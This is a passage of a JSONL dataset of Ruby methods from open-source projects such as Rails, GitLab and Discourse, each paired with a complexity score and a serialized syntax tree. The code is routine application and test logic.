,\"[]\",{\"type\":\"sym\",\"children\":[\"disable\"]}]},{\"type\":\"str\",\"children\":[\"disable\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"copy\"]}]},{\"type\":\"str\",\"children\":[\"copy\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"str\",\"children\":[\"delete\"]},null]}]}]}]}]}]}]}]}","id":"f9355b3e-07ae-4d7b-b69f-cb0a7dc63490"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":203,"raw_source":"def relist\n    topics.each do |t|\n      if guardian.can_moderate?(t)\n        t.update_status(\n          \"visible\",\n          true,\n          @user,\n          { visibility_reason_id: Topic.visibility_reasons[:bulk_action] },\n        )\n        @changed_ids << t.id\n      end\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"relist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_moderate?\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"update_status\",{\"type\":\"str\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_reason_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"visibility_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bulk_action\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"id\"]}]}]},null]}]}]}","id":"3684ae8a-17d2-4ddc-b4fe-d9ed718eab61"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb","start_line":179,"raw_source":"def test_string_connection\n        config   = { \"default_env\" => \"postgres://localhost/foo\" }\n        actual   = resolve_config(config, \"default_env\")\n        expected = {\n          adapter: \"postgresql\",\n          database: \"foo\",\n          host: \"localhost\"\n        }\n\n        assert_equal expected, actual\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"postgres://localhost/foo\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"resolve_config\",{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"default_env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"de7130fc-cde2-4c0e-a3bc-b53d48861d5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":90,"raw_source":"def prefiltered_pipelines\n      return pipelines if params[:iids].present?\n      return pipelines if params[:source] == 'parent_pipeline'\n\n      pipelines.no_child\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prefiltered_pipelines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"iids\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipelines\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"parent_pipeline\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipelines\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipelines\"]},\"no_child\"]}]}]}","id":"8e528da3-2c16-473f-b349-cba08a3e0c8f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/targets/files.rb","start_line":21,"raw_source":"def dump(destination)\n            archive_file = [destination, 'w', 0o600]\n            tar_command = Utils::Tar.new.pack_from_stdin_cmd(\n              target_directory: storage_realpath,\n              target: '.',\n              excludes: excludes)\n\n            compression_cmd = Utils::Compression.compression_command\n\n            pipeline = Shell::Pipeline.new(tar_command, compression_cmd)\n\n            result = pipeline.run!(output: archive_file)\n\n            return if success?(result)\n\n            raise Errors::FileBackupError.new(storage_realpath, destination)\n          end","complexity_score":18.45,"ast_json":"{\"type\":\"def\",\"children\":[\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"destination\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"archive_file\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"destination\"]},{\"type\":\"str\",\"children\":[\"w\"]},{\"type\":\"int\",\"children\":[384]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tar_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"Tar\"]},\"new\"]},\"pack_from_stdin_cmd\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_directory\"]},{\"type\":\"send\",\"children\":[null,\"storage_realpath\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excludes\"]},{\"type\":\"send\",\"children\":[null,\"excludes\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compression_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"Compression\"]},\"compression_command\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shell\"]},\"Pipeline\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tar_command\"]},{\"type\":\"lvar\",\"children\":[\"compression_cmd\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"run!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"lvar\",\"children\":[\"archive_file\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success?\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"FileBackupError\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"storage_realpath\"]},{\"type\":\"lvar\",\"children\":[\"destination\"]}]}]}]}]}","id":"8783593e-bba0-49a6-892c-183421b23f98"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_invalidation_test.rb","start_line":167,"raw_source":"def test_cache_invalidation_skipped_if_no_columns_change\n    @record.class.fetch(@record.id) # fill cache\n    @record.update!(title: @record.title)\n    assert_no_queries do\n      @record.class.fetch(@record.id)\n    end\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_invalidation_skipped_if_no_columns_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"class\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"title\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"class\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]}]}]}","id":"45b11964-4e67-4de5-9653-96b7b553a285"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/json/ndjson_reader.rb","start_line":11,"raw_source":"def initialize(dir_path)\n          @dir_path = dir_path\n          @consumed_relations = Set.new\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dir_path\",{\"type\":\"lvar\",\"children\":[\"dir_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@consumed_relations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}]}","id":"e050ed0d-4bd3-443e-917b-2e44d13b71c2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/mailer_generator_test.rb","start_line":41,"raw_source":"def test_invokes_default_test_framework\n    run_generator\n    assert_file \"test/mailers/notifier_mailer_test.rb\" do |test|\n      assert_match(/class NotifierMailerTest < ActionMailer::TestCase/, test)\n      assert_match(/test \"foo\"/, test)\n      assert_match(/test \"bar\"/, test)\n    end\n    assert_file \"test/mailers/previews/notifier_mailer_preview.rb\" do |preview|\n      assert_match(/\\# Preview all emails at http:\\/\\/localhost:3000\\/rails\\/mailers\\/notifier_mailer/, preview)\n      assert_match(/class NotifierMailerPreview < ActionMailer::Preview/, preview)\n      assert_match(/\\# Preview this email at http:\\/\\/localhost:3000\\/rails\\/mailers\\/notifier_mailer\\/foo/, preview)\n      assert_instance_method :foo, preview do |foo|\n        assert_match(/NotifierMailer\\.foo/, foo)\n      end\n      assert_match(/\\# Preview this email at http:\\/\\/localhost:3000\\/rails\\/mailers\\/notifier_mailer\\/bar/, preview)\n      assert_instance_method :bar, preview do |bar|\n        assert_match(/NotifierMailer\\.bar/, bar)\n      end\n    end\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invokes_default_test_framework\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/mailers/notifier_mailer_test.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class NotifierMailerTest < ActionMailer::TestCase\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"test \\\"foo\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"test \\\"bar\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"test\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/mailers/previews/notifier_mailer_preview.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preview\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\# Preview all emails at http://localhost:3000/rails/mailers/notifier_mailer\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"preview\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class NotifierMailerPreview < ActionMailer::Preview\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"preview\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\# Preview this email at http://localhost:3000/rails/mailers/notifier_mailer/foo\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"preview\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"lvar\",\"children\":[\"preview\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NotifierMailer\\\\.foo\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\# Preview this email at http://localhost:3000/rails/mailers/notifier_mailer/bar\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"preview\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"lvar\",\"children\":[\"preview\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NotifierMailer\\\\.bar\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"bar\"]}]}]}]}]}]}]}","id":"c1cba660-ca4e-4ed3-b62b-c1474862db18"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_formatter_tsv.rb","start_line":53,"raw_source":"def test_format_without_newline\n    d = create_driver(\n      'keys' => 'message,greeting',\n      'add_newline' => false,\n    )\n    formatted = d.instance.format(tag, @time, record)\n\n    assert_equal(\"awesome\\thello\", formatted)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_format_without_newline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keys\"]},{\"type\":\"str\",\"children\":[\"message,greeting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"add_newline\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"format\",{\"type\":\"send\",\"children\":[null,\"tag\"]},{\"type\":\"ivar\",\"children\":[\"@time\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"awesome\\thello\"]},{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]}]}","id":"5def8c54-cada-4a02-b077-b9296e8c238e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/metric_helper.rb","start_line":13,"raw_source":"def queue_timings(items = MiqQueue.where(:method_name => %w[perf_capture_hourly perf_capture_realtime perf_capture_historical]))\n        messages = {}\n        items.each do |q|\n          klass = q.class_name.constantize.base_class.name\n          # If the third argument contains a list of object ids\n          # we denormalize to one message per object_id\n          date_first, date_end, ids, *_ = q.args\n          ids = [q.instance_id] if ids.blank?\n          objs = ids.sort.map { |id| \"#{klass}:#{id}\" }\n\n          objs.each do |obj|\n            interval_name = q.method_name.sub(\"perf_capture_\", \"\")\n\n            # historical captures have a date range, while realtime captures do not.\n            messages[interval_name] ||= {}\n            (messages[interval_name][obj] ||= []) << (date_first ? [date_first, date_end] : [])\n          end\n        end\n        # there can be multiple messages for a large date range\n        # this will combine multiple consecutive date ranges into larger ones\n        messages[\"historical\"]&.transform_values! { |v| combine_consecutive(v) }\n\n        messages\n      end","complexity_score":45.2,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_timings\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"perf_capture_hourly\"]},{\"type\":\"str\",\"children\":[\"perf_capture_realtime\"]},{\"type\":\"str\",\"children\":[\"perf_capture_historical\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"class_name\"]},\"constantize\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date_first\"]},{\"type\":\"lvasgn\",\"children\":[\"date_end\"]},{\"type\":\"lvasgn\",\"children\":[\"ids\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"instance_id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"objs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"sort\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"interval_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"method_name\"]},\"sub\",{\"type\":\"str\",\"children\":[\"perf_capture_\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"interval_name\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"interval_name\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_first\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_first\"]},{\"type\":\"lvar\",\"children\":[\"date_end\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"[]\",{\"type\":\"str\",\"children\":[\"historical\"]}]},\"transform_values!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"combine_consecutive\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]}","id":"9ff9e1b6-6046-4184-8655-1900835ff0f1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/best_effort_json_parser.rb","start_line":90,"raw_source":"def extract_object(text, key)\n          pattern = /(\"#{key}\"|'#{key}'|#{key})\\s*:\\s*\\{/\n          match = text.match(pattern) or return {}\n\n          start = match.end(0) - 1\n          return {} unless text[start] == \"{\"\n\n          end_pos = find_matching_brace(text, start)\n          return {} unless end_pos\n\n          obj_str = text[start..end_pos]\n          try_parse(obj_str) || try_parse(fix_common_issues(obj_str)) || {}\n        end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"\\\"|'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"'|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\")\\\\s*:\\\\s*\\\\{\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"end\",{\"type\":\"int\",\"children\":[0]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"start\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"{\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_pos\",{\"type\":\"send\",\"children\":[null,\"find_matching_brace\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_pos\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"obj_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"lvar\",\"children\":[\"end_pos\"]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_parse\",{\"type\":\"lvar\",\"children\":[\"obj_str\"]}]},{\"type\":\"send\",\"children\":[null,\"try_parse\",{\"type\":\"send\",\"children\":[null,\"fix_common_issues\",{\"type\":\"lvar\",\"children\":[\"obj_str\"]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"cba3a36e-4241-461a-b079-90bf5dacf4af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/award_emojis_finder.rb","start_line":13,"raw_source":"def execute\n    awards = awardable.award_emoji\n    awards = by_name(awards)\n    by_awarded_by(awards)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"awards\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"awardable\"]},\"award_emoji\"]}]},{\"type\":\"lvasgn\",\"children\":[\"awards\",{\"type\":\"send\",\"children\":[null,\"by_name\",{\"type\":\"lvar\",\"children\":[\"awards\"]}]}]},{\"type\":\"send\",\"children\":[null,\"by_awarded_by\",{\"type\":\"lvar\",\"children\":[\"awards\"]}]}]}]}","id":"bdaffffc-a11d-42b7-997c-527013e18827"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/message_pack_message_serializer.rb","start_line":57,"raw_source":"def validate_message_data_format(data, level)\n          if level > 2\n            raise Errors::Decryption, \"More than one level of hash nesting in headers is not supported\"\n          end\n\n          unless data.is_a?(Hash) && data.has_key?(\"p\")\n            raise Errors::Decryption, \"Invalid data format: hash without payload\"\n          end\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_message_data_format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\">\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"Decryption\"]},{\"type\":\"str\",\"children\":[\"More than one level of hash nesting in headers is not 